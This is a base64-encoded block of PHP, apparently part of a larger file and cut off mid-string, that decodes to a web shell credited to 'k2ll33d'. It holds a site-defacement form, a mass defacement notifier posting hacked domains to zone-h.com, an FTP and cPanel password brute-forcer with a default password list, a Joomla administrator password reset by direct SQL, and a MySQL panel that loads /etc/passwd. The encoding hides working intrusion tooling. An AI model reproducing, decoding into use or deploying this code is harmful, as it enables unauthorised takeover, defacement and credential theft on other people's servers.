Ym9keT48ZGl2IGNsYXNzPSJmb290ZXIiPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj48aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPicuYmFzZTY0X2RlY29kZSgnYXpKc2JETXpaQT09JykuJzwvaDM+PC9hPjwvZGl2PjxkaXY+JztpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj48Y2VudGVyPjxpbWcgY2xhc3M9IkhvdmVyQm9yZGVyIiBhbHQ9IiIgc3JjPSJkYXRhOmltYWdlL2pwZWc7Jy4kdHVuaXNpYS4nIiAvPjwvY2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+PGJyPmluZGV4IHVybDo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHNpemU9IjMwIiB2YWx1ZT0iaHR0cDovL3NpdGUuY29tL2luZGV4Lmh0bWwiIC8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVmYWNlIiBuYW1lPSJTdWJtaXQiPjwvZm9ybT4gPC9kaXY+Jzt9ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4nO2lmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxKSB7ZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTt9ZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZS1oJykpeyRkZWZhY2VyPSdSZVpLMkxMJzskZGlzcGxheV9kZXRhaWxzPTA7JG1ldGhvZD0xNDskcmVhc29uPTU7DQplcnJvcl9yZXBvcnRpbmcoMCk7c2V0X3RpbWVfbGltaXQoMCk7aWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpe2VjaG8gIkNVUkwgRVJST1JcbiI7ZXhpdDt9JGNsaT0oaXNzZXQoJGFyZ3ZbMF0pKT8xOjA7aWYoJGNsaT09MSl7JGZpbGU9JGFyZ3ZbMV07JHNpdGVzPWZpbGUoJGZpbGUpO2lmKCFmaWxlX2V4aXN0cygkZmlsZSkpe2VjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+ZXJyb3IgITwvaDE+PC9jZW50ZXI+XG4iO2V4aXQ7fX1lbHNle2lmKGZ1bmN0aW9uX2V4aXN0cyhhcGFjaGVfc2V0ZW52KSl7QGFwYWNoZV9zZXRlbnYoJ25vLWd6aXAnLCAxKTt9QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywgMSk7QG9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO0BvYl9lbmRfZmx1c2goKTtpZihpc3NldCgkX1BPU1RbJ2RvbWFpbnMnXSkpeyRzaXRlcz1leHBsb2RlKCJcbiIsJF9QT1NUWydkb21haW5zJ10pO31pZiAoZmlsZV9leGlzdHMoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdKSl7JGZpbGU9JF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOyRzaXRlcz1maWxlKCRmaWxlKTt9DQplY2hvIDw8PEVPRg0KPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+DQpFT0Y7DQppZighaXNzZXQoJF9QT1NUWydkZWZhY2VyJ10pKXsNCmVjaG8gPDw8RU9GDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPg0KRU9GOw0KfQ0KJGRlZmFjZXI9JF9QT1NUWydkZWZhY2VyJ107fWlmKCEkc2l0ZXMpe2VjaG8gJzwvcHJlPic7ZXhpdDt9JHNpdGVzPWFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHNpdGVzKSk7JHRvdGFsPWNvdW50KCRzaXRlcyk7ZWNobyAiWytdIFRvdGFsIHVuaXF1ZSBkb21haW46ICR0b3RhbFxuXG4iOyRwYXVzZT0xMDskc3RhcnQ9dGltZSgpOyRtYWluPWN1cmxfbXVsdGlfaW5pdCgpO2ZvcigkbT0wOyRtPDM7JG0rKyl7JGh0dHBbXSA9IGN1cmxfaW5pdCgpO31mb3IoJG49MDskbjwkdG90YWw7JG4gKz0zMCl7aWYoJGRpc3BsYXlfZGV0YWlscz09MSl7Zm9yKCR4PTA7JHg8MzA7JHgrKyl7ZWNobydbK10gQWRkaW5nICcucnRyaW0oJHNpdGVzWyRuKyR4XSkuJyc7ZWNobyAiXG4iO319JGQ9JG4rMzA7aWYoJGQ+JHRvdGFsKXskZD0kdG90YWw7fWVjaG8gIj09PT09PT09PT09PT09PT09PT09PT5bJGQvJHRvdGFsXVxuIjtmb3IoJHc9MDskdzwzOyR3KyspeyRwPSR3ICogMTA7DQppZighKGlzc2V0KCRzaXRlc1skbiskcF0pKSl7JHBhdXNlPSR3O2JyZWFrO30kcG9zdHNbJHddPSJkZWZhY2VyPSRkZWZhY2VyJmRvbWFpbjE9aHR0cCUzQSUyRiUyRiIucnRyaW0oJHNpdGVzWyRuKyRwXSkuIiZkb21haW4yPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsxXSkuIiZkb21haW4zPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsyXSkuIiZkb21haW40PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCszXSkuIiZkb21haW41PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs0XSkuIiZkb21haW42PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs1XSkuIiZkb21haW43PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs2XSkuIiZkb21haW44PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs3XSkuIiZkb21haW45PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs4XSkuIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIi5ydHJpbSgkc2l0ZXNbJG4rJHArOV0pLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJHJlYXNvbi4iJnN1Ym1pdD1TZW5kIjskY3VybG9wdD1hcnJheShDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xO1dPVzY0KSBBcHBsZVdlYktpdC81MzUuMTYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDAzLjEgU2FmYXJpLzUzNS4xNicsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT50cnVlLENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSxDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSxDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoIktlZXAtQWxpdmU6IDciKSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDMsQ1VSTE9QVF9VUkwgPT4gJ2h0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvbWFzcycsQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10pOw0KY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCRjdXJsb3B0KTtjdXJsX211bHRpX2FkZF9oYW5kbGUoJG1haW4sJGh0dHBbJHddKTt9JHJ1bm5pbmcgPSBudWxsOw0KZG97Y3VybF9tdWx0aV9leGVjKCRtYWluLCRydW5uaW5nKTt9d2hpbGUoJHJ1bm5pbmcgPiAwKTsNCmZvcigkbT0wOyRtPDM7JG0rKyl7aWYoJHBhdXNlPT0kbSl7YnJlYWs7fQ0KY3VybF9tdWx0aV9yZW1vdmVfaGFuZGxlKCRtYWluLCAkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmICgkY29kZSAhPSAyMDApIHt3aGlsZSh0cnVlKXtlY2hvJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnO2VjaG8gIlxuIjsNCnNsZWVwKDUpO2N1cmxfZXhlYygkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmKCAkY29kZT09IDIwMCl7YnJlYWsgMTt9fX19fSRlbmQ9IHRpbWUoKSAtICRzdGFydDsNCmVjaG8gJ0RvbmUnO2VjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7Y3VybF9tdWx0aV9jbG9zZSgkbWFpbik7aWYoJGNsaT09MCl7ZWNobyAnPC9wcmU+PC9ib2R5PjwvaHRtbD4nO31leGl0O30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSl7JGNvbm5lY3RfdGltZW91dD01Ow0Kc2V0X3RpbWVfbGltaXQoMCk7JHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOyR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107JHBhc3M9JF9SRVFVRVNUWydwYXNzd29yZHMnXTskdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107JGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7JHRhcmdldCA9ICJsb2NhbGhvc3QiO30/PjxkaXYgYWxpZ249ImNlbnRlciI+PGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTskZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7cHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApe3ByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+VXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7JGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7JGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkge3ByaW50ICI8Yj5Db25uZWN0aW9uIFRpbWVkIG91dDwvYj4iO2V4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCnByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO31pZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpe3ByaW50ICI8cD48Yj5FcnJvciA6IENoZWNrIFRoZSBVc2VycyBhbmQgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O30NCmlmKGVtcHR5KCR1c2Vycykpe3ByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7ZXhpdDt9aWYoZW1wdHkoJHBhc3MpICl7cHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O307DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7JHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7cHJpbnQgIjxiPlt+XSBXYWl0IC4uLjwvYj48YnI+PGJyPiI7Zm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7JHB1cmV1c2VyID0gdHJpbSgkdXNlcik7Zm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHskcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7aWYoJGNyYWNrdHlwZSA9PSAiZnRwIil7ZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTt9aWYgKCRjcmFja3R5cGUgPT0gImNwYW5lbCIpe2NwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7fX19fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnPjx0cj48dGQ+PGJyPjxwIGFsaWduPSdjZW50ZXInPjxiPjxzcGFuIGxhbmc9J2VuLXVzJz5JUDwvc3Bhbj4gOjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0kdGFyZ2V0PjwvYj48L3A+PGRpdiBhbGlnbj0nY2VudGVyJz48cCBhbGlnbj0nY2VudGVyJz51c2Vyczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ndXNlcnMnPiI7DQpzeXN0ZW0oJ2xzIC92YXIvbWFpbCcpOw0KZWNobyAiPC90ZXh0YXJlYT5wYXNzd29yZHM8dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgY29scz0yMCByb3dzPTIwIG5hbWU9J3Bhc3N3b3Jkcyc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG5hZG1pblxuMzMyMjExXG4xNDc4OTYzXG5wYXNzd29yZFxucGFzc3dkXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZDwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L3NwYW4+PGI+Q3BhbmVsKDIwODIpPC9iPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDogNzAwOyc+RnRwICgyMSk8L3NwYW4+PC9wPjxicj48Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCBDcmFja2luZycgbmFtZT0nc3VibWl0Jz48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPiI7ZGllKCk7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb29tbGEnKSl7aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpe2VjaG8gIjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDtob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2UgeyRwcmVmaXggPSAkX1BPU1RbJ3ByZWZpeCddOyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTskcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOyRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTskcGQgPSAoJF9QT1NUWyJwd2QiXSk7JHB3ZCA9IG1kNSgkcGQpO0BteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllIChteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7aWYoJFNRTCkgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+Ijt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdteXNxbCcpKXtpZihpc3NldCgkX0dFVFsnc3FsaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3FsdXNlciddKSAmJiBpc3NldCgkX0dFVFsnc3FscGFzcyddKSAmJiBpc3NldCgkX0dFVFsnc3FscG9ydCddKSl7JHNxbGhvc3QgPSAkX0dFVFsnc3FsaG9zdCddOyRzcWx1c2VyID0gJF9HRVRbJ3NxbHVzZXInXTskc3FscGFzcyA9ICRfR0VUWydzcWxwYXNzJ107JHNxbHBvcnQgPSAkX0dFVFsnc3FscG9ydCddO2lmKCRjb24gPSBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdC4iOiIuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKXskbXNnIC49ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzo0cHggMTBweCAwIDEwcHg7Jz4iOyRtc2cgLj0gIjxwPkNvbm5lY3RlZCB0byAiLiRzcWx1c2VyLiI8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4iLiRzcWxob3N0LiI6Ii4kc3FscG9ydDskbXNnIC49ICImbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nZ2F5YSc+LSZndDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3g9bXlzcWwmYW1wO3NxbGhvc3Q9Ii4kc3FsaG9zdC4iJmFtcDtzcWx1c2VyPSIuJHNxbHVzZXIuIiZhbXA7c3FscGFzcz0iLiRzcWxwYXNzLiImYW1wO3NxbHBvcnQ9Ii4kc3FscG9ydC4iJmFtcDsnPlsgZGF0YWJhc2VzIF08L2E+IjsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJz4iLmh0bWxzcGVjaWFsY2hhcnMoJF9HRVRbJ2RiJ10pLiI8L2E+IjsNCmlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJmFtcDt0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiInPiIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsndGFibGUnXSkuIjwvYT4iOyRtc2cgLj0gIjwvcD48cD52ZXJzaW9uIDogIi5teXNxbF9nZXRfc2VydmVyX2luZm8oJGNvbikuIiBwcm90byAiLm15c3FsX2dldF9wcm90b19pbmZvKCRjb24pLiI8L3A+IjskbXNnIC49ICI8L2Rpdj4iO2VjaG8gJG1zZzsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSAmJiAoIWlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJiYgKCFpc3NldCgkX0dFVFsnc3FscXVlcnknXSkpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYjM3NGtfdGFibGU7XG5DUkVBVEUgVEFCTEUgYGIzNzRrX3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApO1xuTE9BRCBEQVRBIElORklMRSAnL2V0Yy9wYXNzd2QnXG5JTlRPIFRBQkxFIGIzNzRrX3RhYmxlO1NFTEVDVCAqIEZST00gYjM3NGtfdGFibGU7XG5EUk9QIFRBQkxFIElGIEVYSVNUUyBiMzc0a190YWJsZTsiOyRtc2cgPSAiPGRpdiBzdHlsZT0nd2lkdGg6OTklO3BhZGRpbmc6MCAxMHB4Oyc+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodD